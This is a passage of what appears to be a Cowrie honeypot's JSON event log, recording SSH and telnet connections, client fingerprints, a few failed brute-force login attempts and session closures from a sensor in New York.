m@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.854052Z","src_ip":"91.134.240.52","session":"a76c63bbf450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"creditcard","message":"login attempt [admin/creditcard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:23.185939Z","src_ip":"91.134.240.52","session":"a76c63bbf450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80164ee65e0","protocol":"ssh","message":"New connection: 159.203.92.129:33274 (159.203.135.109:22) [session: b80164ee65e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:23.410548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:23.416492Z","src_ip":"159.203.92.129","session":"b80164ee65e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:23.420956Z","src_ip":"159.203.92.129","session":"b80164ee65e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albk","password":"123","message":"login attempt [albk/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:23.431921Z","src_ip":"159.203.92.129","session":"b80164ee65e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.766147136688232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:24.133034Z","src_ip":"69.6.225.50","session":"31419504cea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:24.263360Z","src_ip":"91.134.240.52","session":"a76c63bbf450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:24.438466Z","src_ip":"159.203.92.129","session":"b80164ee65e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77949547767639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:25.054130Z","src_ip":"69.6.225.50","session":"98af5e02f8a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330644845962524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:25.106171Z","src_ip":"69.6.225.50","session":"5584c9c1372f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.518569231033325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:26.838457Z","src_ip":"144.79.218.12","session":"19e831321aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59002,"dst_ip":"10.17.0.5","dst_port":23,"session":"047e89ba572e","protocol":"telnet","message":"New connection: 144.79.218.12:59002 (10.17.0.5:23) [session: 047e89ba572e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:26.927117Z"}
{"eventid":"cowrie.session.closed","duration":33.310816526412964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:27.111452Z","src_ip":"144.79.218.12","session":"73e6700102a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22683334350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:27.695532Z","src_ip":"185.15.23.59","session":"4984d3c89f58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48752,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc71ff9d269","protocol":"telnet","message":"New connection: 144.79.218.12:48752 (10.17.0.5:23) [session: 2dc71ff9d269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:29.186474Z"}
{"eventid":"cowrie.session.closed","duration":30.704472303390503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:29.308572Z","src_ip":"185.15.23.59","session":"b63ce1cc23e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.551024436950684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:29.348867Z","src_ip":"144.79.218.12","session":"a9b699edbca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"204545ffbccb","protocol":"telnet","message":"New connection: 144.79.218.12:48762 (10.17.0.5:23) [session: 204545ffbccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:29.407968Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ab3fb22c37","protocol":"ssh","message":"New connection: 68.183.236.1:36760 (159.203.135.109:22) [session: b9ab3fb22c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:31.748049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:31.752781Z","src_ip":"68.183.236.1","session":"b9ab3fb22c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:32.000849Z","src_ip":"68.183.236.1","session":"b9ab3fb22c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51543951034546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:32.056713Z","src_ip":"69.6.225.50","session":"538c3d08099a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e692739ed6","protocol":"telnet","message":"New connection: 144.79.218.12:48772 (10.17.0.5:23) [session: 13e692739ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:32.159355Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali","message":"login attempt [root/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:33.016854Z","src_ip":"68.183.236.1","session":"b9ab3fb22c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48784,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c3c0b0ad965","protocol":"telnet","message":"New connection: 144.79.218.12:48784 (10.17.0.5:23) [session: 9c3c0b0ad965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:33.752609Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48796,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6fac00d671","protocol":"telnet","message":"New connection: 144.79.218.12:48796 (10.17.0.5:23) [session: be6fac00d671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:33.979092Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:34.269166Z","src_ip":"68.183.236.1","session":"b9ab3fb22c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e35e034f302f","protocol":"telnet","message":"New connection: 5.61.90.139:46350 (10.17.0.5:23) [session: e35e034f302f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:35.125222Z"}
{"eventid":"cowrie.session.closed","duration":30.575350284576416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:35.383504Z","src_ip":"185.15.23.59","session":"e6008f5e498b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024709939956665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:35.897691Z","src_ip":"69.6.225.50","session":"6ff8081239b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981254816055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:38.106483Z","src_ip":"69.6.225.50","session":"cd96a29c27ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1120f4fea28","protocol":"telnet","message":"New connection: 144.79.218.12:48812 (10.17.0.5:23) [session: e1120f4fea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:38.284197Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57926,"dst_ip":"159.203.135.109","dst_port":23,"session":"88bfd32d1c08","protocol":"telnet","message":"New connection: 69.6.225.50:57926 (159.203.135.109:23) [session: 88bfd32d1c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:38.479007Z"}
{"eventid":"cowrie.session.closed","duration":39.689842224121094,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:39.036480Z","src_ip":"144.79.218.12","session":"885a6e151004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44288754463196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:41.372841Z","src_ip":"144.79.218.12","session":"ac0f2997d938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57936,"dst_ip":"159.203.135.109","dst_port":23,"session":"1657d83b08e5","protocol":"telnet","message":"New connection: 69.6.225.50:57936 (159.203.135.109:23) [session: 1657d83b08e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:41.485972Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53834,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd93e37de46","protocol":"telnet","message":"New connection: 144.79.218.12:53834 (10.17.0.5:23) [session: 2bd93e37de46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:41.723657Z"}
{"eventid":"cowrie.session.closed","duration":33.04017639160156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:42.594280Z","src_ip":"144.79.218.12","session":"87d546a99733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":46428,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a70cbb1d1ed","protocol":"telnet","message":"New connection: 5.61.90.139:46428 (10.17.0.5:23) [session: 6a70cbb1d1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:42.780771Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57952,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e60072a3866","protocol":"telnet","message":"New connection: 69.6.225.50:57952 (159.203.135.109:23) [session: 5e60072a3866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:43.073776Z"}
{"eventid":"cowrie.session.closed","duration":31.243067026138306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:43.197901Z","src_ip":"69.6.225.50","session":"784b9a2a2a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.784966230392456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:43.496392Z","src_ip":"144.79.218.12","session":"c8d6ce140ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53846,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ff2072bb7c","protocol":"telnet","message":"New connection: 144.79.218.12:53846 (10.17.0.5:23) [session: 84ff2072bb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:44.755621Z"}
{"eventid":"cowrie.session.closed","duration":30.86676001548767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:45.104818Z","src_ip":"69.6.225.50","session":"4420605b413c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49816,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d0b53188ce8","protocol":"telnet","message":"New connection: 185.15.23.59:49816 (159.203.135.109:23) [session: 5d0b53188ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:45.405867Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53850,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e14ff23f541","protocol":"telnet","message":"New connection: 144.79.218.12:53850 (10.17.0.5:23) [session: 1e14ff23f541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:45.861928Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53856,"dst_ip":"10.17.0.5","dst_port":23,"session":"649e9ef95194","protocol":"telnet","message":"New connection: 144.79.218.12:53856 (10.17.0.5:23) [session: 649e9ef95194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:46.555280Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57962,"dst_ip":"159.203.135.109","dst_port":23,"session":"b37bcc80c99c","protocol":"telnet","message":"New connection: 69.6.225.50:57962 (159.203.135.109:23) [session: b37bcc80c99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:46.728087Z"}
{"eventid":"cowrie.session.closed","duration":34.523815870285034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:46.953553Z","src_ip":"144.79.218.12","session":"96df38b73873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53860,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a57966e2a06","protocol":"telnet","message":"New connection: 144.79.218.12:53860 (10.17.0.5:23) [session: 6a57966e2a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:47.017186Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"2521052e503b","protocol":"telnet","message":"New connection: 144.79.218.12:53872 (10.17.0.5:23) [session: 2521052e503b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:47.022007Z"}
{"eventid":"cowrie.session.closed","duration":35.466744899749756,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:47.280751Z","src_ip":"144.79.218.12","session":"b4a47851c6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55932,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e7a7be43058","protocol":"telnet","message":"New connection: 185.15.23.59:55932 (159.203.135.109:23) [session: 8e7a7be43058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:47.553183Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"900b921ba937","protocol":"telnet","message":"New connection: 144.79.218.12:53886 (10.17.0.5:23) [session: 900b921ba937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:47.857677Z"}
{"eventid":"cowrie.session.closed","duration":36.93742322921753,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:48.240441Z","src_ip":"144.79.218.12","session":"ebb6dc71f6b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.20520520210266,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:48.358756Z","src_ip":"144.79.218.12","session":"c0da8f892dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53894,"dst_ip":"10.17.0.5","dst_port":23,"session":"447e96539344","protocol":"telnet","message":"New connection: 144.79.218.12:53894 (10.17.0.5:23) [session: 447e96539344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:48.605538Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54598,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c811291192","protocol":"telnet","message":"New connection: 144.79.218.12:54598 (10.17.0.5:23) [session: 65c811291192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:49.302610Z"}
{"eventid":"cowrie.session.closed","duration":38.984583616256714,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:50.014830Z","src_ip":"144.79.218.12","session":"f66e36632737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38408,"dst_ip":"159.203.135.109","dst_port":23,"session":"facee17e18b8","protocol":"telnet","message":"New connection: 185.15.23.59:38408 (159.203.135.109:23) [session: facee17e18b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:51.547223Z"}
{"eventid":"cowrie.session.closed","duration":38.20003890991211,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:54.066067Z","src_ip":"144.79.218.12","session":"35437d204cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47564,"dst_ip":"159.203.135.109","dst_port":23,"session":"85cac1fc971a","protocol":"telnet","message":"New connection: 185.15.23.59:47564 (159.203.135.109:23) [session: 85cac1fc971a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:54.827020Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60976714248","protocol":"telnet","message":"New connection: 144.79.218.12:54610 (10.17.0.5:23) [session: e60976714248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:54.969575Z"}
{"eventid":"cowrie.session.closed","duration":33.6990168094635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:55.787126Z","src_ip":"144.79.218.12","session":"cc6929820753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3555634021759,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:56.514432Z","src_ip":"144.79.218.12","session":"bc3750b37a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64201521873474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:57.035355Z","src_ip":"144.79.218.12","session":"9278af7ec73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54614,"dst_ip":"10.17.0.5","dst_port":23,"session":"720721b84404","protocol":"telnet","message":"New connection: 144.79.218.12:54614 (10.17.0.5:23) [session: 720721b84404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:58.007610Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":46652,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f98e15631e1","protocol":"telnet","message":"New connection: 5.61.90.139:46652 (10.17.0.5:23) [session: 1f98e15631e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:59.200693Z"}
{"eventid":"cowrie.session.closed","duration":33.080379486083984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:00.007395Z","src_ip":"144.79.218.12","session":"047e89ba572e","protocol":"telnet"}
